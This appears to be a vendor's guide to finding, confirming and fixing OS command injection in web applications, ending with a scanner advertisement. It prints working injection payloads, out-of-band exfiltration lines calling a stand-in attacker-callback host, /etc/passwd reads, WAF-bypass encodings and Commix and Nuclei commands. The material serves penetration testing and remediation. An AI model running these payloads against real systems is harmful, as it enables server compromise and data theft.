Command Injection Testing: OS Shell Injection Detection and Prevention
An e-commerce platform has a product image processing feature. When a product image is uploaded, the application resizes it using ImageMagick, passing the filename directly to a shell command. A security researcher uploads a file named product.jpg; curl https://attacker.com/$(whoami). The application's web server makes an outbound HTTP request to the attacker's server, and the URL path reveals the current Unix username. The feature that processes product images just became a remote shell.
OS command injection is frequently the highest-severity finding in a web application assessment. When it's exploitable, it typically means full server compromise: arbitrary code execution, credential theft, lateral movement into internal networks, and persistence. This guide covers how to find it, confirm it when it's blind, and understand what fixes actually prevent it.
How Command Injection Works
Command injection occurs when an application constructs a shell command using user-supplied input and executes it without adequately sanitizing that input. The application intends to run one command; the attacker injects additional commands using shell metacharacters that the OS interprets as command separators or modifiers.
Shell metacharacters that matter for injection:
| Character | Behavior | Example |
|---|---|---|
; |
Run next command regardless of previous result | ls; whoami |
&& |
Run next command only if previous succeeded | ls /tmp && id |
|| |
Run next command only if previous failed | false || id |
| |
Pipe output to next command | ls | grep root |
`...` |
Command substitution (backtick) | echo `id` |
$(....) |
Command substitution (modern syntax) | echo $(id) |
& |
Run in background | cmd & injected_cmd |
\n (newline) |
Command separator in some contexts | cmd%0ainjected |
Where to Look for Command Injection
The application features most likely to pass user input to shell commands:
- File processing — image conversion, PDF generation, video transcoding, archive extraction
- Network utilities — ping, traceroute, whois, nslookup features
- Search functionality — grep-based search,
findcommand wrappers - Email features — applications that invoke
sendmailormailvia shell - System administration panels — backup tools, log processors, cron management
- Import/export functionality — CSV processors, data migration tools using shell scripts
- Version control integrations — any feature that invokes git via shell
- Custom scripts — application-specific tooling that wraps system commands
Pay particular attention to parameters that look like filenames, hostnames, IP addresses, or numeric values — these are the inputs that developers typically assume are "safe enough" to pass to shell commands without sanitization.
Basic Detection: Injection Probes
Start with simple separator probes and look for changes in application behavior:
# Simple probes to try in any input field
; whoami
| whoami
& whoami
&& whoami
|| whoami
`whoami`
$(whoami)
# On Windows targets
; dir
| dir
& dir
After injecting each payload, look for:
- The output of the injected command appearing in the HTTP response
- Error messages referencing shell commands or unexpected processes
- Changes in application behavior (different response size, status code, latency)
- New files or processes created on the server (if you have server access)
If the application displays command output in the response body, that's in-band command injection and is the easiest to confirm. If there's no visible output but behavior changes, you may be dealing with blind command injection, which requires a different confirmation approach.
Blind Command Injection: Time-Based Confirmation
Most production command injection is blind — the application executes the injected command but the output isn't returned in the HTTP response. The most reliable confirmation technique is time-based injection using the sleep command:
# Unix — inject a 10-second sleep
; sleep 10
| sleep 10
&& sleep 10
|| sleep 10
`sleep 10`
$(sleep 10)
# Windows — inject a ping delay (pings 127.0.0.1 10 times = ~10 seconds)
; ping -n 10 127.0.0.1
| ping -n 10 127.0.0.1
If the HTTP response takes 10 seconds longer than baseline, the injection is working. Make sure to establish a baseline response time before testing, and test the sleep multiple times to rule out network variability. A consistent 10-second delta on sleep 10 payloads is definitive confirmation.
The risk with time-based confirmation: you're actually executing commands on the server. Use low-impact commands (sleep rather than id, dir rather than del) and document every payload executed for the pentest report.
Out-of-Band Confirmation: DNS and HTTP Callbacks
For blind injection where time-based confirmation is ambiguous (slow applications, rate limiting), out-of-band (OOB) techniques provide definitive confirmation without relying on response timing. The application executes a command that makes an outbound network connection to a server you control:
# DNS lookup (works through restrictive firewalls, shows up in DNS logs)
; nslookup $(whoami).attacker-callback.com
; nslookup `cat /etc/hostname`.attacker-callback.com
; curl https://attacker-callback.com/$(id | base64)
# HTTP callback (confirms command output exfiltration)
; wget "https://attacker-callback.com/?data=$(whoami)"
; curl "https://attacker-callback.com/?h=$(hostname)"
Use Burp Collaborator (built into Burp Suite Pro) or interactsh (the open-source alternative) as your callback server. These services log DNS queries and HTTP requests with timestamps, giving you definitive proof of execution and the ability to exfiltrate command output even when the HTTP response contains nothing useful.
OOB confirmation is increasingly important in modern application security testing because many applications are hosted behind CDNs, reverse proxies, or WAFs that modify responses in ways that obscure in-band output. The DNS callback bypasses all of that — the operating system's DNS resolver makes the query, not the application layer.
Using Commix for Automated Detection
Commix is the purpose-built tool for command injection testing, available by default on Kali Linux. It automates the detection of injection points, attempts all separator variants, handles encoding, and confirms exploitation:
# Basic scan against a URL parameter
commix --url="https://target.com/ping?host=INJECT_HERE"
# POST parameter
commix --url="https://target.com/process" --data="filename=INJECT_HERE&action=convert"
# Scan with Burp proxy for traffic inspection
commix --url="https://target.com/ping?host=test" --proxy="http://127.0.0.1:8080"
# Technique-specific testing (time-based only)
commix --url="https://target.com/ping?host=INJECT_HERE" --technique=T
# Results: opens interactive shell if injection is confirmed
Commix's interactive shell mode lets you run arbitrary commands on the target through the injection point, which makes it easy to demonstrate impact beyond the initial id or whoami output. For a penetration test, demonstrating that you can read /etc/passwd, list environment variables, or make outbound connections provides clear evidence of the severity.
Nuclei Templates for Command Injection
Nuclei includes templates specifically for known command injection CVEs and generic detection patterns:
# Run command injection templates
nuclei -u https://target.com -tags rce,command-injection
# Generic injection probes with OOB
nuclei -u https://target.com -tags rce -interactsh-server https://oast.me
Nuclei's OOB integration with interactsh makes it particularly effective for detecting blind injection — the templates automatically configure DNS callbacks and report any confirmed callbacks in the results.
Encoding and Bypass Techniques
When a WAF or input filter is blocking basic payloads, try encoding variants:
# URL encoding
;%20whoami
%3B%20whoami
%7Cwhoami
# Shell variable substitution (splits blocked strings)
IFS=,;cmd=who,ami;$cmd
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
# Base64 encoding the command
echo d2hvYW1p | base64 -d | sh # "whoami" base64-encoded
# Heredoc (avoids spaces in some contexts)
cat<<EOF
/etc/passwd
EOF
The $IFS technique is particularly useful for WAFs that block spaces — in bash, $IFS (Internal Field Separator) defaults to space/tab/newline, so cat$IFS/etc/passwd is equivalent to cat /etc/passwd without using a space character.
Remediation: The Only Correct Fix
The correct fix for command injection is to not invoke shell commands with user input. Use language-native libraries instead:
- Image processing: Use ImageMagick's native API, Pillow (Python), or Sharp (Node.js) — not shell invocations of
convert - Network utilities: Use language-native DNS resolution (
socket.gethostbyname()), HTTP clients, or ICMP libraries — notexec("ping " + host) - File operations: Use the language's file system API — not shell commands passed user filenames
- PDF generation: Use native PDF libraries — not shell calls to
wkhtmltopdforpuppeteerwith unsanitized URLs
When you genuinely must invoke a shell command with user input (a rare legitimate requirement), use parameterized execution — pass arguments as an array rather than a string:
# Python — UNSAFE (user input in string, shell=True)
subprocess.run(f"convert {filename} output.png", shell=True)
# Python — SAFE (user input as array element, shell=False)
subprocess.run(["convert", filename, "output.png"], shell=False)
# Node.js — UNSAFE
exec(`convert ${filename} output.png`)
# Node.js — SAFE
execFile("convert", [filename, "output.png"])
With shell=False in Python or execFile in Node.js, the user input becomes a single argument to the program — it cannot be interpreted as shell syntax because the shell is never invoked. The filename product.jpg; rm -rf / becomes a literal filename passed to ImageMagick, not a shell injection.
Additional defense-in-depth measures:
- Run the web application process with the minimum required OS permissions (no shell access to sensitive paths)
- Use application-level input validation as a secondary layer — whitelist only expected characters for inputs that will be used in system calls
- Deploy a WAF with command injection rules as a detection layer (not a prevention layer — a WAF can be bypassed)
- Implement egress filtering on the server to detect unexpected outbound connections from the application process
Documenting the Finding
A command injection finding should include:
- The injection point: parameter name, request method, endpoint URL
- The payload used: exactly what was injected and why it works
- Proof of execution: command output in response, time-based confirmation timing, OOB callback evidence
- Impact assessment: what the injected command ran as (user context), what filesystem access is available, whether the server can make outbound connections
- CVSS score: typically 9.8 Critical (network-accessible, no authentication required, full system compromise)
- Recommended fix: specific code-level guidance, not generic "sanitize inputs"
Command injection is one of the few vulnerability classes where a single finding can result in a full critical infrastructure compromise. Document it accordingly — and escalate it immediately during an engagement rather than waiting for the final report.
Ironimo tests for command injection using the same techniques professional pentesters use — separator variants, time-based blind detection, and OOB callback confirmation. When a finding is confirmed, you get the exact request, the injection payload, and the evidence of execution, with no ambiguity about whether the finding is a false positive.
Start free scan